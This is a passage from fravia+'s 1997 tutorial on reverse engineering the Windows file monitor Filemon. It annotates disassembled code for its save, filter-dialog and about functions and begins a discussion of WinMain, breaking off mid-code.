DWORD lStructSize;
HWND hwndOwner;

http://www.instinct.org/fravia/filemon3.htm (7 of 22) [2/7/2001 3:20:15 PM]


filemon3

HINSTANCE hInstance;
LPCSTR lpstrFilter; --- "File Data..."
LPSTR lpstrCustomFilter;
DWORD nMaxCustFilter;
DWORD nFilterIndex;
LPSTR lpstrFile;
DWORD nMaxFile; --- 256
LPSTR lpstrFileTitle; --- "Save File Info..."
DWORD nMaxFileTitle;
LPCSTR lpstrInitialDir;
LPCSTR lpstrTitle;
DWORD Flags;
UINT nFileOffset;
UINT nFileExtension;
LPCSTR lpstrDefExt;
LPARAM lCustData;
UINT (CALLBACK* lpfnHook) (HWND, UINT, WPARAM, LPARAM);
LPCSTR lpTemplateName;
} OPENFILENAME;
You understand how important the above is from a reverse engineering point of view, dont' you?
Every time you find inside your target a call to GetFileName (and almost always you will) you can
IMMEDIATELY understand and tag quite a lot of memory locations... be careful when you
re-order the esp relocation, though.
Let's go on with our SaveFile function.

:Get_Save_Data
:00401C8C 8BB42490060000 mov esi, [esp + 690] ;get+1C
value
:00401C93 A1E8994000 mov eax, [004099E8] ;get+20
value
:00401C98 8974241C mov [esp + 1C], esi
;[esp+690]
:00401C9C 89442420 mov [esp + 20], eax ;[99E8]
:00401CA0 33C0 xor eax, eax
;ax=NULL now
:00401CA2 8D8C248C000000 lea ecx, [esp + 8C]
;get+34value
:00401CA9 89442428 mov [esp + 28], eax ;NULL
:00401CAD 8944242C mov [esp + 2C], eax ;NULL
:00401CB1 C74424184C000000 mov [esp + 18], 4C ;4C
:00401CB9 894C2434 mov [esp + 34], ecx
;[esp+8C]

http://www.instinct.org/fravia/filemon3.htm (8 of 22) [2/7/2001 3:20:15 PM]


filemon3

:00401CBD 8944243C mov [esp + 3C], eax ;NULL


:00401CC1 89442440 mov [esp + 40], eax ;NULL
:00401CC5 89442444 mov [esp + 44], eax ;NULL
:00401CC9 C744242418824000 mov [esp + 24], 00408218 ;"File
Data (*.FIL)"
:00401CD1 C744243001000000 mov [esp + 30], 00000001 ;1
:00401CD9 C744243800010000 mov [esp + 38], 00000100 ;256
(typical Max value)
:00401CE1 6689442450 mov [esp + 50], ax ;NULL
:00401CE6 8944245C mov [esp + 5C], eax ;NULL
:00401CEA 6689442452 mov [esp + 52], ax ;NULL
:00401CEF 8D542418 lea edx, [esp + 18] ;edx=4C
:00401CF3 C744244804824000 mov [esp + 48], 00408204 ;"Save
File Info..."
:00401CFB C7442454FC814000 mov [esp + 54], 004081FC
;"*.fil"
:00401D03 C744244C04002000 mov [esp + 4C], 00200004 ;200004
:00401D0B 52 push edx
;initialis_Data address
:00401D0C E8BB040000 Call 004021CC ;GetSaveFileNameA
:00401D11 85C0 test eax, eax ;return value?
:00401D13 0F84AC010000 je 00401EC5 ;zero, error or
user
;hit cancel:
return home
:continue after data array
:00401D19 8D84248C000000 lea eax, [esp + 0000008C] ;get file
size
:00401D20 68F8814000 push 004081F8 ;"w" ;push
write
:00401D25 50 push eax ;push
file size
:00401D26 E8D5060000 call 00402400 ;what's
this?
You'll investigate this routine later using the "tree climbing" trick explained below, anyway the
pushed "w" should give you an easy hint... it's the "fopen" file open routine, which in c has
following characteristics: FILE *fopen(path, type)... here we have a slight variation with file size
instead, yet the "w" type parameter is thoroughly characteristic: opens an empty file for writing, if
the given file already exists, its contents are destroyed.

:00401D2B 89442418 mov [esp + 18], eax


:00401D2F 83C408 add esp, 00000008

http://www.instinct.org/fravia/filemon3.htm (9 of 22) [2/7/2001 3:20:15 PM]


filemon3

:00401D32 85C0 test eax, eax ;bad return value?


:00401D34 751F jne 00401D55 ;good return value,
continue
:00401D36 6A10 push 00000010 ;BAD return value!
:00401D38 68EC814000 push 004081EC ;"Save Error"
:00401D3D 68D8814000 push 004081D8 ;"Create File
Failed."
:00401D42 6A00 push 00000000
:00401D44 FF1590B24400 Call dword ptr [0044B290]
;MessageBox _Error
:00401D4A 5D pop ebp ;popall
:00401D4B 5F pop edi
:00401D4C 5E pop esi
:00401D4D 5B pop ebx
:00401D4E 81C47C060000 add esp, 67C
:00401D54 C3 ret

:good return value, we may save, continue and show hourglass


:00401D55 56 push esi
:00401D56 FF15B4B24400 Call dword ptr [0044B2B4] ;SetCapture
:00401D5C A1B0964000 mov eax, [96B0]=cursor ;here
hourglass, of course
:00401D61 50 push eax ;ampersand
:00401D62 FF15B8B24400 Call dword ptr [0044B2B8]
;USER32.SetCursor
:00401D68 6A00 push 00000000 ;NULL
:00401D6A A3BC964000 mov [004096BC], eax ;return
value in 96BC
:00401D6F 8B842498060000 mov eax, [esp + 00000698] ;get hWnd
:00401D76 6A00 push 00000000 ;NULL
:00401D78 6804100000 push 00001004 ;msg 1004
:00401D7D 33DB xor ebx, ebx ;bx=0
:00401D7F 50 push eax ;hWnd
:00401D80 FF15D8B24400 Call dword ptr [0044B2D8]
;SendMessage_1004
:00401D86 89442414 mov [esp + 14], eax ;save return
value
:00401D8A 3BC3 cmp eax, ebx ;was it
error?
:00401D8C 0F8EE3000000 jle 00401E75 ;yes, do not
loop

:Major_loop_1D92
:00401D92 C684248C02000000 mov byte ptr [esp + 0000028C], 00

http://www.instinct.org/fravia/filemon3.htm (10 of 22) [2/7/2001 3:20:15 PM]


filemon3

:00401D9A 33ED xor ebp, ebp ;ebp=0

:Minor_loop_1D9C
:00401D9C 8D84248C010000 lea eax, [esp + 0000018C]
:00401DA3 8D4C2464 lea ecx, [esp + 64]
:00401DA7 8B942494060000 mov edx, [esp + 00000694]
:00401DAE 51 push ecx
:00401DAF 896C2470 mov [esp + 70], ebp
:00401DB3 53 push ebx
:00401DB4 89842480000000 mov [esp + 00000080], eax
:00401DBB 682D100000 push 0000102D
:00401DC0 C684249801000000 mov byte ptr [esp + 00000198],
00
:00401DC8 C784248800000000010000 mov dword ptr [esp + 00000088],
100
:00401DD3 52 push edx
:00401DD4 FF15D8B24400 Call dword ptr [0044B2D8]
;SendMessage_102D
:00401DDA 8DBC248C010000 lea edi, [esp + 0000018C]
:00401DE1 B9FFFFFFFF mov ecx, FFFFFFFF ;counter ready
:00401DE6 2BC0 sub eax, eax
:00401DE8 F2 repnz ;prepare string
:00401DE9 AE scasb
:00401DEA F7D1 not ecx ;count
:00401DEC 2BF9 sub edi, ecx
:00401DEE 8BD1 mov edx, ecx
:00401DF0 8BF7 mov esi, edi
:00401DF2 B9FFFFFFFF mov ecx, FFFFFFFF ;counter ready
:00401DF7 8DBC248C020000 lea edi, [esp + 0000028C]
:00401DFE 2BC0 sub eax, eax
:00401E00 F2 repnz ;prepare string
:00401E01 AE scasb
:00401E02 4F dec edi
:00401E03 8BCA mov ecx, edx
:00401E05 C1E902 shr ecx, 02
:00401E08 F3 repz ;prepare string
:00401E09 A5 movsd
:00401E0A 8BCA mov ecx, edx
:00401E0C 83E103 and ecx, 00000003
:00401E0F F3 repz ;prepare string
:00401E10 A4 movsb
:00401E11 BFD4814000 mov edi, 004081D4
:00401E16 B9FFFFFFFF mov ecx, FFFFFFFF ;counter ready
:00401E1B 2BC0 sub eax, eax

http://www.instinct.org/fravia/filemon3.htm (11 of 22) [2/7/2001 3:20:15 PM]


filemon3

:00401E1D F2 repnz ;prepare string


:00401E1E AE scasb
:00401E1F F7D1 not ecx ;count
:00401E21 2BF9 sub edi, ecx
:00401E23 8BD1 mov edx, ecx
:00401E25 8BF7 mov esi, edi
:00401E27 B9FFFFFFFF mov ecx, FFFFFFFF ;counter ready
:00401E2C 8DBC248C020000 lea edi, [esp + 0000028C]
:00401E33 2BC0 sub eax, eax
:00401E35 F2 repnz ;prepare string
:00401E36 AE scasb
:00401E37 4F dec edi
:00401E38 8BCA mov ecx, edx
:00401E3A C1E902 shr ecx, 02
:00401E3D 45 inc ebp ;ebp++ (this is the loop
counter)
:00401E3E F3 repz ;prepare string
:00401E3F A5 movsd
:00401E40 8BCA mov ecx, edx
:00401E42 83E103 and ecx, 3
:00401E45 F3 repz ;prepare string
:00401E46 A4 movsb
:00401E47 83FD06 cmp ebp, 6 ;minor_loop five times
(five
:00401E4A 0F8C4CFFFFFF jl 00401D9C ;columns) until ebp = 6
:00401E50 8D84248C020000 lea eax, [esp + 0000028C]
:00401E57 8B4C2410 mov ecx, [esp + 10]
:00401E5B 50 push eax
:00401E5C 43 inc ebx
:00401E5D 68D0814000 push 004081D0 ;"%s"
:00401E62 51 push ecx
:00401E63 E828050000 call 00402390

Climbing the tree: subroutines investigation


Well... how do we understand what the cuckoo a call means (without looking at the c source code,
that is :-)
We just need to use a little ZEN-feeling, and in a savefile function, preceded like here by the
pushing of the parameter "%s", you don't need actually much zen-feeling... this smells like a call
to printf from far far away.
Anyway, for more common mortals, I'll teach you how to perform a subroutines investigation,
climbing their "tree"... i.e. how to quickly check WHAT a nested subroutine calls (through an
automated wordprocessor macro, of course), until you hit payload... here it is: This routine 2390
calls three routines:3580/2800/3620. The macro must investigate each called subroutine until if

http://www.instinct.org/fravia/filemon3.htm (12 of 22) [2/7/2001 3:20:15 PM]


filemon3

finds some NAMES! Names are the alpha and Omega of little windows reverse engineers, don't
forget it! Never!

[2390-23D0]:3580/2800/3620
[3580-3620]:5080/3B60
[5080-50A9]-|
[3B60-3B80]:3B80
[3B80-3BD0]:3BD0/62E0

[3BD0-3C10]:5690/Heapalloc
[62E0-6310]:ecx_4096AC
[2800-31B0]:3280/31B0/32B0/51A0
[3280-3290]-|
[31B0-3200]:26B0
[32B0-32C0]-|
[51A0-5240]:WideCharToMultiByte
[3620-3670]:3470
[3470-34E0]:4D40
[4D40-4F70]:4F7O/Writefile
As you can see, this simple "macro-search" of mine, although imperfect, it's enough to understand
what our extremely nested call to 2390 does: Heapalloc, WidecharToMultiByte and Writefile...
these are usual calls for stream routine which write formatted data to a stream (well, yes, you
should study a little c my dear), these routines (here fprintf) usually return the number of
characters printed, let's have a look at what happens next...

:00401E68 83C40C add esp, 0000000C ;correct stack


:00401E6B 3B5C2414 cmp ebx, [esp + 14] ;are we done?
:00401E6F 0F8C1DFFFFFF jl 00401D92 ;major_loop until bx =
[esp+14]

:after_major_loop
:00401E75 8B442410 mov eax, [esp + 10]
:00401E79 50 push eax
:00401E7A E8A1040000 call 00402320 ;whats'this
routine?
Once more a subroutine that we should identify, I'll leave you this task, you'll notice, climbing this
tree, that this call is connected with the previous (not investigated) one at :00401D26 (call
00402400)... OK, we are almost finished with this SaveFile function, a little more strcpy activity
follows...

http://www.instinct.org/fravia/filemon3.htm (13 of 22) [2/7/2001 3:20:15 PM]


filemon3

:00401E7F 8DBC2490000000 lea edi, [esp + 00000090]


:00401E86 83C404 add esp, 00000004
:00401E89 B9FFFFFFFF mov ecx, FFFFFFFF ;counter
:00401E8E 2BC0 sub eax, eax
:00401E90 F2 repnz ;prepare
string
:00401E91 AE scasb
:00401E92 F7D1 not ecx ;count
:00401E94 2BF9 sub edi, ecx
:00401E96 8BC1 mov eax, ecx
:00401E98 C1E902 shr ecx, 02
:00401E9B 8BF7 mov esi, edi
:00401E9D BFC0964000 mov edi, 004096C0
:00401EA2 F3 repz ;prepare
string
:00401EA3 A5 movsd
:00401EA4 8BC8 mov ecx, eax
:00401EA6 83E103 and ecx, 00000003
:00401EA9 F3 repz ;prepare
string
:00401EAA A4 movsb
:00401EAB C6057080400001 mov byte ptr [00408070], 01
;flag 8070 TRUE
:00401EB2 8B0DBC964000 mov ecx, [004096BC] ;getcursor
:00401EB8 51 push ecx
:00401EB9 FF15B8B24400 Call dword ptr [0044B2B8]
;USER32.SetCursor
:00401EBF FF15C4B24400 Call dword ptr [0044B2C4]
;USER32.ReleaseCapture

:return_home_from_SaveFile
:00401EC5 5D pop ebp ;pop them all
:00401EC6 5F pop edi
:00401EC7 5E pop esi
:00401EC8 5B pop ebx
:00401EC9 81C47C060000 add esp, 67C ;we subbed 67C at
the beginning
:00401ECF C3 ret ;bye

Missing routines? NO! Routines with own windows!


Well, that was a big chunk of code, we went through... are we finished? No, we have two more
functions, both of them interesting, because they will highlight some other aspects of reverse
engineering... let's swallow the first one... hey! The next one at 21CC, is the GetSaveFileName

http://www.instinct.org/fravia/filemon3.htm (14 of 22) [2/7/2001 3:20:15 PM]


filemon3

from the previous function at 1D0C... we are already out of the main functions... OK, let's advance
with the other method: We have seen until now:
01) FUNCTION Abort ;This, as we have already seen, dwells between 1000-1020
02) FUNCTION WinMain ;This, as we have already seen, dwells between 1020-10B0
03) FUNCTION InitApplication ;This, as we have already seen, dwells between 10B0-1130
04) FUNCTION InitInstance ;This, as we have already seen, dwells between 1130-1190
05) FUNCTION MainWndProc ;This, as we have already seen, dwells between 1190-1750
06) FUNCTION Split;This, as we have already seen, dwells between 1750-1790
07) FUNCTION ListAppend ;This, as we have already seen, dwells between 1790-1A40
08) FUNCTION UpdateStatistics ;This, as we have already seen, dwells between 1A40-1B50
09) FUNCTION CreateListView;This, as we have already seen, dwells between 1B50-1C20
10) FUNCTION SaveFile ;This, as we have already seen, dwells between 1C20-1ED0
11) FUNCTION FilterProc
12) FUNCTION About
And at 21CC we are already out of the "functions" part of our target's code... therefore let's just
check the code that begins at 1ED0 and follow the last function we have examined, the SaveFile
one, even if it does not "seem" to be called by anybody in our dead listing... as a matter of fact the
next two functions (filter and about) create their own windows, and therefore follow a
DIFFERENT calling system... note that they are both at the end of the "normal" c functions...

:00401ED0 8B442408 mov eax, [esp + 08] ;get WM_


param
:00401ED4 81EC2C020000 sub esp, 22C ;correct
stack
:00401EDA 83F810 cmp eax, 10 ;is it
WM_CLOSE?
:00401EDD 53 push ebx ;will pop
:00401EDE 56 push esi ;will pop
:00401EDF 57 push edi ;will pop
:00401EE0 7417 je 00401EF9 ;ax=WM_CLOSE
:00401EE2 3D10010000 cmp eax, 110
:00401EE7 742A je 00401F13 ;ax=WM_INITDIALOG
:00401EE9 3D11010000 cmp eax, 111
:00401EEE 0F8480000000 je 00401F74 ;ax=WM_COMMAND
:00401EF4 E97E020000 jmp 00402177 ;return with FALSE

:WM_CLOSE_block: destroy dialogbox and return


:00401EF9 8B9C243C020000 mov ebx, [esp + 23C] ;get
hwndDlg
:00401F00 6A01 push 1 ;value to
return
:00401F02 53 push ebx ;dialog box to be
destroyed.

http://www.instinct.org/fravia/filemon3.htm (15 of 22) [2/7/2001 3:20:15 PM]


filemon3

:00401F03 FF15A0B24400 Call dword ptr [0044B2A0]


;EndDialog
:00401F09 B801000000 mov eax, 1 ;flag TRUE
:00401F0E E966020000 jmp 00402179 ;return with TRUE

:WM_INITDIALOG_block:Prepare Dialogbox
:00401F13 8B9C243C020000 mov ebx, [esp + 23C]
:00401F1A 68C0974000 push 004097C0 ;Process
:00401F1F 68E8030000 push 3E8 ;filter "" 1000
:00401F24 8B35A4B24400 mov esi, [0044B2A4] ;SetDlgItemText
:00401F2A 53 push ebx
:00401F2B FFD6 call esi ;call SetDlgItemText (ebx, "",
4097C0)
:00401F2D 68E0974000 push 004097E0 ;PathInclude
:00401F32 68E9030000 push 3E9 ;filter ""
:00401F37 53 push ebx
:00401F38 FFD6 call esi ;call SetDlgItemText ebx, "",
4097E0)
:00401F3A 68E0984000 push 004098E0 ;PathExclude
:00401F3F 68EA030000 push 3EA ;filter ""
:00401F44 53 push ebx
:00401F45 FFD6 call esi ;call SetDlgItemText(ebx, "",
4098E0)
:00401F47 A1E0994000 mov eax, [004099E0]
:00401F4C 8B35A8B24400 mov esi, [0044B2A8] ;CheckDlgButton
:00401F52 50 push eax
:00401F53 68EB030000 push 3EB ;filter "Reads"
:00401F58 53 push ebx ;places a check mark next to it
:00401F59 FFD6 call esi ;call CheckDlgButton(ebx,
"Reads", 4099E0)
:00401F5B 8B0DE4994000 mov ecx, [004099E4]
:00401F61 51 push ecx
:00401F62 68EC030000 push 3EC ;filter "Writes"
:00401F67 53 push ebx ;places a check mark next to it
:00401F68 FFD6 call esi ; call CheckDlgButton(ebx,
"Writes", 4099E4)
:00401F6A B801000000 mov eax, 1 ;flag TRUE and
:00401F6F E905020000 jmp 00402179 ;return TRUE
To understand the code above and below we need an IMAGE of our filter Dialog Box:here it is

As you can see (for instance editing this dialogbox through BRW) there are two

http://www.instinct.org/fravia/filemon3.htm (16 of 22) [2/7/2001 3:20:15 PM]


filemon3

"BS_AUTOCHECKBOXes: "Reads" and "Writes" (1003 and 1004) and three edit ""
ES_AUTOHSCROLLs (1000,1001 and 1002), and three BS_PUSHBUTTONs ("Apply is actually
default choice and therefore BS_DEFPUSHBUTTON)1=Apply, 2=Cancel and 3=Reset... there
are also three static definitions: "Process", "Path include" and "Path Exclude". Hey! We have also
a caption ("NTFilemon Filter") and a font! (MS Sans Serif 8). Let's see how all this fits together

:WM_COMMAND block
:00401F74 668B842444020000 mov ax, [esp + 244] ;get new ax
:00401F7C 663D0100 cmp ax, 1 ;is it 1? (IDOK)
:00401F80 0F85ED000000 jne 00402073 ;no, continue
elsewhere
:00401F86 8B9C243C020000 mov ebx, [esp + 23C]
:00401F8D 6A20 push 20
:00401F8F 68C0974000 push 004097C0
:00401F94 8B3598B24400 mov esi, [0044B298] ; SetDlgItemText
:00401F9A 68E8030000 push 3E8 ; edit field"" 1000, Process
:00401F9F 53 push ebx
:00401FA0 FFD6 call esi ;call
SetDlgItemText(ebx,Process,97C0,20)
:00401FA2 6800010000 push 100
:00401FA7 68E0974000 push 004097E0
:00401FAC 68E9030000 push 3E9 ;edit field"" 1001, PathIncl
:00401FB1 53 push ebx
:00401FB2 FFD6 call esi ;call
SetDlgItemText(ebx,PathIncl,97C0,100)
:00401FB4 6800010000 push 100
:00401FB9 68E0984000 push 004098E0
:00401FBE 68EA030000 push 3EA ;edit field"" 1002, PathExcl
:00401FC3 53 push ebx
:00401FC4 FFD6 call esi ;call
SetDlgItemText(ebx,PathExcl,4098E0,100)
:00401FC6 68EB030000 push 3EB ; filter "Reads"
:00401FCB 8B359CB24400 mov esi, [0044B29C] ;CheckDlgButton
:00401FD1 53 push ebx
:00401FD2 FFD6 call esi ;call
CheckDlgButton(ebx,"Reads")
:00401FD4 68EC030000 push 3EC ; filter
"Writes"=1004
:00401FD9 A3E0994000 mov [004099E0], eax ;save ax
:00401FDE 53 push ebx
:00401FDF FFD6 call esi ;call
CheckDlgButton(ebx,"Writes")
:00401FE1 BEC0974000 mov esi, 004097C0

http://www.instinct.org/fravia/filemon3.htm (17 of 22) [2/7/2001 3:20:15 PM]


filemon3

:00401FE6 8D7C2410 lea edi, [esp + 10]


:00401FEA B98A000000 mov ecx, 8A
:00401FEF A3E4994000 mov [004099E4], eax
:00401FF4 F3 repz ;prepare string
:00401FF5 A5 movsd
:00401FF6 8D442410 lea eax, [esp + 10]
:00401FFA 50 push eax
:00401FFB E820040000 call 00402420; what will this be?

Uppercasing strings
Here we have another mysterious subroutine... let's see what happens at 2420...
[2420-24E0]:Have a look, there is a loop comparing between Ox61 (which is "a") and 0x7A
(which is "z"), with an instruction sub cl, 20 (at 2445) very very typical of uppercasing routines...
in fact the ASCII characters table is so made that every lowercase letter is exactly its uppercased
correspondent+0x20... routine 2420, is therefore called three times only in order to uppercase our
three edit strings, we do not want stupid users mixing lowercase and uppercase characters in their
input fields, do we?

:00402000 8D442434 lea eax, [esp + 34]


:00402004 83C404 add esp, 4
:00402007 50 push eax
:00402008 E813040000 call 00402420=uppercase
:0040200D 8D842434010000 lea eax, [esp + 00000134]
:00402014 83C404 add esp, 00000004
:00402017 50 push eax
:00402018 E803040000 call 00402420=uppercase
:0040201D 8D442410 lea eax, [esp + 10]
:00402021 83C404 add esp, 00000004
:00402024 8D4C2410 lea ecx, [esp + 10]
:00402028 6A00 push 00000000
:0040202A 50 push eax
:0040202B 8B1560804000 mov edx, [00408060]
:00402031 6A00 push 00000000
:00402033 6A00 push 00000000
:00402035 6828020000 push 228
:0040203A 51 push ecx
:0040203B 6A05 push 5
:0040203D 52 push edx
:0040203E FF15E4B14400 Call dword ptr [0044B1E4]
;DeviceIoControl
Wow! The DeviceIoControl function! We are communicating with our VxD device! Telling him

http://www.instinct.org/fravia/filemon3.htm (18 of 22) [2/7/2001 3:20:15 PM]


filemon3

that we have got a new filter, not to use the default any more! Let's hope the device is okay and
well, let's see

:00402044 85C0 test eax, eax ;check if successful


:00402046 7518 jne 00402060 ;ok, continue
:00402048 6814814000 push 00408114 ;Couldn't access device
driver"
:0040204D 53 push ebx
:0040204E E8ADEFFFFF call 00401000 ;call ABORT function!
:00402053 83C408 add esp, 8 ;correct stack
:00402056 B801000000 mov eax, 1 ;and flag TRUE
:0040205B E919010000 jmp 00402179 ;return TRUE

:OK,DeviceIOcontrol successful
:00402060 6A01 push 1 ;TRUE
:00402062 53 push ebx ;dialogbox returns 1
:00402063 FF15A0B24400 Call dword ptr [0044B2A0] ; EndDialog
:00402069 B801000000 mov eax, 1 ;flag TRUE
:0040206E E906010000 jmp 00402179 ;ret TRUE... This was IDOK!

:Was not IDOK at 111_block


:00402073 663D0200 cmp ax, 0002 ;is it IDCANCEL?
:00402077 7515 jne 0040208E ;no continue
:00402079 8B9C243C020000 mov ebx, [esp + 0000023C]
:00402080 6A01 push 1 ;TRUE
:00402082 53 push ebx ;dialogbox returns 1
:00402083 FF15A0B24400 Call dword ptr [0044B2A0] ;EndDialog,
:00402089 E9E9000000 jmp 00402177 ;ret FALSE... This was
IDCANCEL

:It's not OK and it's not CANCEL


:0040208E 663D0300 cmp ax, 3 ;is it RESET?
:00402092 0F85DF000000 jne 00402177 ;knows the cuckoo, ret
FALSE
OK, I'll spare you the long "reset" code snippet that follows here, it would only bore us... we have
already seen the same code (with insignificant variations) above, where it did actually change the
filter... here it's only resetting filter to default value and ending at 402175, here:

:00402175 FFD6 call esi ;CheckDlgButton (ebx, "Writes",


4099E4)

http://www.instinct.org/fravia/filemon3.htm (19 of 22) [2/7/2001 3:20:15 PM]


filemon3

We are almost finished... observe the various "happy endings" of this routine:

:return_FALSE
:00402177 33C0 xor eax, eax

:popall and return with ax you have got already


:00402179 5F pop edi
:0040217A 5E pop esi
:0040217B 5B pop ebx
:0040217C 81C42C020000 add esp, 22C
:00402182 C21000 ret 0010

:various returns
:00402190 8B442408 mov eax, [esp + 08]
:00402194 3D10010000 cmp eax, 110 ;was it WM_INITDIALOG?
:00402199 740C je 004021A7 ;110=return TRUE
:0040219B 3D11010000 cmp eax, 111 ;was it WM_COMMAND?
:004021A0 740D je 004021AF ;111: check and endDialog

:return_FALSE
:004021A2 33C0 xor eax, eax ;return FALSE
:004021A4 C21000 ret 0010

:return_TRUE
:004021A7 B801000000 mov eax, 1 ;return TRUE
:004021AC C21000 ret 0010

:check and return true_or false after EndDialog


:004021AF 66837C240C01 cmp [esp + 0C], 0001
:004021B5 75EB jne 004021A2 ;return false
:004021B7 8B442404 mov eax, [esp + 04]
:004021BB 6A01 push 1
:004021BD 50 push eax
:004021BE FF15A0B24400 Call dword ptr [0044B2A0]
;EndDialog,
:004021C4 B801000000 mov eax, 1
;RETURN TRUE
:004021C9 C21000 ret 0010

Filemon's about function and WM_COMMAND


Wow... we understand (almost) everything now, don't we? We have revrsed the FilterProc
function: [1ED0-21C9]... We miss one last function, though... a typical short ABOUT function...

http://www.instinct.org/fravia/filemon3.htm (20 of 22) [2/7/2001 3:20:15 PM]


filemon3

let's have a look: As before we have a starting check for the message value: if it is 110 it's a
WM_INITDIALOG message, if it is 111 it's a WM_COMMAND message... The
WM_INITDIALOG message is sent to a dialog box procedure immediately before the dialog box
is displayed. The WM_COMMAND message is sent to a window when the user selects an item
from a menu, when a control sends a notification message to its parent window, or when an
accelerator keystroke has been translated.

:00402190 8B442408 mov eax, [esp + 08] ;get value


:00402194 3D10010000 cmp eax, 110 ;was it 110?
(WM_INITDIALOG)
:00402199 740C je 004021A7 ;return TRUE
:0040219B 3D11010000 cmp eax, 111 ;was it 111?
(WM_COMMAND)
:004021A0 740D je 004021AF ;continue something
happened

:return FALSE ;Hey! WM_ neither INIT nor


COMMAND?
:004021A2 33C0 xor eax, eax ;return FISHY
:004021A4 C21000 ret 0010

:return TRUE
:004021A7 B801000000 mov eax, 1 ;return TRUE
:004021AC C21000 ret 0010

:it was WM_COMMAND: something happened


:004021AF 66837C240C01 cmp [esp + 0C], 1 ;if not IDOK
:004021B5 75EB jne 004021A2 ;return FALSE
:004021B7 8B442404 mov eax, [esp + 04]
:004021BB 6A01 push 1
:004021BD 50 push eax
:004021BE FF15A0B24400 Call dword ptr [0044B2A0]
;EndDialog,
:004021C4 B801000000 mov eax, 1 ;return TRUE
:004021C9 C21000 ret 0010
Well, that was it... we have completely reversed filemon... we would NOT need it source code any
more to modify whatever we want inside it... ahh! This tremendous feeling of power... yet we have
another little investigation still pending: the virtual driver reverse engineering... But let's have
another cocktail, (may I suggest a traitor?)... we'll better tackle elusive virtual driver roaming
around in the memory voids...
(c) fravia+ 1997. All rights reserved.

http://www.instinct.org/fravia/filemon3.htm (21 of 22) [2/7/2001 3:20:15 PM]


filemon3

You are deep inside fravia's page of reverse engineering, choose your way out:
filemon1 filemon2 filemon4
homepage links anonymity +ORC students' essays tools cocktails
antismut search_forms mailFraVia
is reverse engineering legal?

http://www.instinct.org/fravia/filemon3.htm (22 of 22) [2/7/2001 3:20:15 PM]


filemon4

How to reverse engineer a Windows 95 target


REVERSE ENGINEERING EXERCISES FOR THE MASSES - (2d)
by fravia+ (MSRE), August 1997

(Part D: Back to Main - 11 August 1997)


Courtesy of Fravia's page of reverse engineering

Well, a very interesting essay... I wrote it myself! :-) This essay will be divided in four (or more)
parts:
A = Introduction to filemon
B = reverse engineering without source code
C = Filemon reversed
Back to Main
D = VXD vagaries and mysteries

Although already disponible, this essay is still under construction and will be modified and
ameliorated until the wording below will disappear (I reckon until mid-september)

UNDER CONSTRUCTION
REVERSE ENGINEERING EXERCISES FOR THE MASSES - (5)
How to reverse engineer a Windows 95 program
Filemon.exe Version 2
(Part D: Back to Main)
by Fravia (MSRE), August 1997

Well, in the first part of this essay we had a general "introduction" to the structure of filemon.exe,
in the second one we reversed quite a lot of code without using the C source... in the third one we
finished all "home-made" functions of our target... time to tackle the WinMain and the
MainWndProc functions...
WinMain was already known
Let's resume the "logistic" of our target, all the functions data we have already gathered:
01) FUNCTION Abort ;This dwells between 1000-1020
02) FUNCTION WinMain ;This dwells between 1020-10B0

http://www.instinct.org/fravia/filemon4.htm (1 of 26) [2/7/2001 3:20:26 PM]


filemon4

03) FUNCTION InitApplication ;This dwells between 10B0-1130


04) FUNCTION InitInstance ;This dwells between 1130-1190
05) FUNCTION MainWndProc ;This dwells between 1190-1750
06) FUNCTION Split;This dwells between 1750-1790
07) FUNCTION ListAppend ;This dwells between 1790-1A40
08) FUNCTION UpdateStatistics ;This dwells between 1A40-1B50
09) FUNCTION CreateListView;This dwells between 1B50-1C20
10) FUNCTION SaveFile ;This dwells between 1C20-1ED0
11) FUNCTION FilterProc;This dwells between 1ED0-2190
12) FUNCTION About;This dwells between 2190-21C9
Now that we know where everything dwells, let's have a look at the [1020-10B0]:WinMain
function.
In Windows we enter WinMain coming from Program entry point, here the call is at :00402626
E8F5E9FFFF: call 1020WinMain. We will not work a lot on it, because we don't need to reverse
anything at all: WinMain is a PERFECTLY WELL KNOWN procedure:

int PASCAL WinMain(hinstCurrent, hinstPrevious, lpCmdLine,


nCmdShow)

HINSTANCE hinstCurrent; /* handle of current instance


*/
HINSTANCE hinstPrevious; /* handle of previous instance
*/
LPSTR lpszCmdLine; /* address of command line */
int nCmdShow; /* show-window type (open/icon)
*/

The WinMain function is called by the system as the initial entry


point for a Windows application.

Parameter Description
hinstCurrent Identifies the current instance of the
application.
hinstPrevious Identifies the previous instance of the
application.
lpszCmdLine Points to a null-terminated string specifying the
command
line for the application.
nCmdShow Specifies how the window is to be shown. This
parameter
can be one of various SW_ values.
0x00 SW_HIDE; 0x01 SW_SHOWNORMAL; 0x02 SW_SHOWMINIMIZED; 0x03
SW_SHOWMAXIMIZED;

http://www.instinct.org/fravia/filemon4.htm (2 of 26) [2/7/2001 3:20:26 PM]


filemon4

0x04 SW_SHOWNOACTIVATE; 0x05 SW_SHOW; 0x06 SW_MINIMIZE; 0x07


SW_SHOWMINNOACTIVATE;
0x08 SW_SHOWNA; 0x09 SW_RESTORE... etc
Ah ah! Therefore let's go back to the target's entry point code, where it calls WinMain and let's
better check what's going on:

:jumped from 260F


:00402619 50 push eax ;WinMain rightmost
nCmdShow
:0040261A 56 push esi ;WinMain next:
lpszCmdLine
:0040261B 6A00 push 0 ;WinMain next:
hinstPrevious
:0040261D 6A00 push 0 ;GMH_ lpszModuleName
:0040261F FF156CB24400 Call dword ptr [0044B26C]
;GetModuleHandle(lpszModuleName)
:00402625 50 push eax ;WiNMain leftmost:
hinstCurrent
:00402626 E8F5E9FFFF call 1020_WinMain(modulehandle, 0, esi,
old_eax)
Well, I hope that the approach of my essay will work... You saw smack at the beginning the
functions InitInstance and InitApplication, as if they were "extraordinary" functions... and we
come only now to WinMain... you see, there is something important I didn't tell you until now:
WinMain, in ANY WINDOWS PROGRAM, calls a function InitInstance and a function
InitApplication... yes, always!
Here an example: the following text is taken -without modifying a comma- from Borland's C++
4.52 API helpfile.
In the following example the WinMain function initializes the application, initializes the instance,
and establishes a message loop:
int PASCAL WinMain(HINSTANCE hinstCurrent, HINSTANCE
hinstPrevious,
LPSTR lpszCmdLine, int nCmdShow)
{
MSG msg;

if (hinstPrevious == NULL) /* other instances?


*/
if (!InitApplication(hinstCurrent)) /* shared items
*/
return FALSE; /* initialization
failed */

http://www.instinct.org/fravia/filemon4.htm (3 of 26) [2/7/2001 3:20:26 PM]


filemon4

/* Perform initializations for this instance. */

if (!InitInstance(hinstCurrent, nCmdShow))
return FALSE;

/* Get and dispatch messages until WM_QUIT message. */

while (GetMessage(&msg, NULL, 0, 0)) {


